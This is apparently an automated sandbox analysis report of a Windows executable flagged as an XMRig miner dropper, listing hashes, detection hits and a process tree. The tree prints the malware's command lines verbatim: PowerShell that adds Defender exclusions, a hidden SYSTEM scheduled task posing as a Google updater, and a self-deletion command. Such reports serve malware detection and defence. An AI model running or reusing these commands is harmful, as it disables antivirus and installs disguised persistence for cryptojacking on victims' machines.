Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
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max time kernel
900s -
max time network
889s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20250207-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20241023-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20241023-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20241010-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20250207-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2316 created 1160 2316 qM5GMXBk6hJE6Y5e (30).exe 21 PID 2316 created 1160 2316 qM5GMXBk6hJE6Y5e (30).exe 21 PID 2316 created 1160 2316 qM5GMXBk6hJE6Y5e (30).exe 21 PID 2316 created 1160 2316 qM5GMXBk6hJE6Y5e (30).exe 21 PID 336 created 1160 336 updater.exe 21 PID 336 created 1160 336 updater.exe 21 PID 336 created 1160 336 updater.exe 21 PID 336 created 1160 336 updater.exe 21 PID 2936 created 1160 2936 conhost.exe 21 PID 336 created 1160 336 updater.exe 21 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral31/memory/480-44-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-47-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/480-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1920 powershell.exe 2792 powershell.exe 2564 powershell.exe 2616 powershell.exe -
Deletes itself 1 IoCs
pid Process 2604 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 336 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1820 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 336 set thread context of 2936 336 updater.exe 48 PID 336 set thread context of 480 336 updater.exe 55 -
resource yara_rule behavioral31/memory/480-40-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-44-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-47-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/480-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (30).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2372 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2016f11bae7cdb01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2532 schtasks.exe 2880 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2316 qM5GMXBk6hJE6Y5e (30).exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2792 powershell.exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2564 powershell.exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2316 qM5GMXBk6hJE6Y5e (30).exe 2576 powershell.exe 336 updater.exe 336 updater.exe 1920 powershell.exe 336 updater.exe 336 updater.exe 2616 powershell.exe 336 updater.exe 336 updater.exe 336 updater.exe 336 updater.exe 2936 conhost.exe 2936 conhost.exe 336 updater.exe 336 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 2564 powershell.exe Token: SeDebugPrivilege 2576 powershell.exe Token: SeDebugPrivilege 1920 powershell.exe Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 336 updater.exe Token: SeAssignPrimaryTokenPrivilege 2372 WMIC.exe Token: SeIncreaseQuotaPrivilege 2372 WMIC.exe Token: SeSecurityPrivilege 2372 WMIC.exe Token: SeTakeOwnershipPrivilege 2372 WMIC.exe Token: SeLoadDriverPrivilege 2372 WMIC.exe Token: SeSystemtimePrivilege 2372 WMIC.exe Token: SeBackupPrivilege 2372 WMIC.exe Token: SeRestorePrivilege 2372 WMIC.exe Token: SeShutdownPrivilege 2372 WMIC.exe Token: SeSystemEnvironmentPrivilege 2372 WMIC.exe Token: SeUndockPrivilege 2372 WMIC.exe Token: SeManageVolumePrivilege 2372 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2372 WMIC.exe Token: SeIncreaseQuotaPrivilege 2372 WMIC.exe Token: SeSecurityPrivilege 2372 WMIC.exe Token: SeTakeOwnershipPrivilege 2372 WMIC.exe Token: SeLoadDriverPrivilege 2372 WMIC.exe Token: SeSystemtimePrivilege 2372 WMIC.exe Token: SeBackupPrivilege 2372 WMIC.exe Token: SeRestorePrivilege 2372 WMIC.exe Token: SeShutdownPrivilege 2372 WMIC.exe Token: SeSystemEnvironmentPrivilege 2372 WMIC.exe Token: SeUndockPrivilege 2372 WMIC.exe Token: SeManageVolumePrivilege 2372 WMIC.exe Token: SeLockMemoryPrivilege 480 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2564 wrote to memory of 2532 2564 powershell.exe 34 PID 2564 wrote to memory of 2532 2564 powershell.exe 34 PID 2564 wrote to memory of 2532 2564 powershell.exe 34 PID 2604 wrote to memory of 2424 2604 cmd.exe 39 PID 2604 wrote to memory of 2424 2604 cmd.exe 39 PID 2604 wrote to memory of 2424 2604 cmd.exe 39 PID 2576 wrote to memory of 2280 2576 powershell.exe 40 PID 2576 wrote to memory of 2280 2576 powershell.exe 40 PID 2576 wrote to memory of 2280 2576 powershell.exe 40 PID 1820 wrote to memory of 336 1820 taskeng.exe 42 PID 1820 wrote to memory of 336 1820 taskeng.exe 42 PID 1820 wrote to memory of 336 1820 taskeng.exe 42 PID 2616 wrote to memory of 2880 2616 powershell.exe 47 PID 2616 wrote to memory of 2880 2616 powershell.exe 47 PID 2616 wrote to memory of 2880 2616 powershell.exe 47 PID 336 wrote to memory of 2936 336 updater.exe 48 PID 1604 wrote to memory of 2372 1604 cmd.exe 53 PID 1604 wrote to memory of 2372 1604 cmd.exe 53 PID 1604 wrote to memory of 2372 1604 cmd.exe 53 PID 336 wrote to memory of 480 336 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1160
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2280
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (30).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2604 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2424
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2880
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2936
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2372
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2912
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:480
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C:\Windows\system32\taskeng.exetaskeng.exe {C1C78D53-7EE3-4A6F-8213-7AD1D4180CF3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:336
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD59871abc61ca3acc10e0106e7eb1bbefd
SHA10be31867b93c316803c1ec2627ea2ad262473d52
SHA2569a8cf5c05ff1f41dbcd5277ef43146671789cb4e8922bb18c1d1844a37097a21
SHA5125687faa13e1cd63116c816266d4a6632fddbfe6cd1a646559defdd34057be5da8779661ca432a44146e5b9e09112321b24aa999f0d09cc4a24f310868250ffcc
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6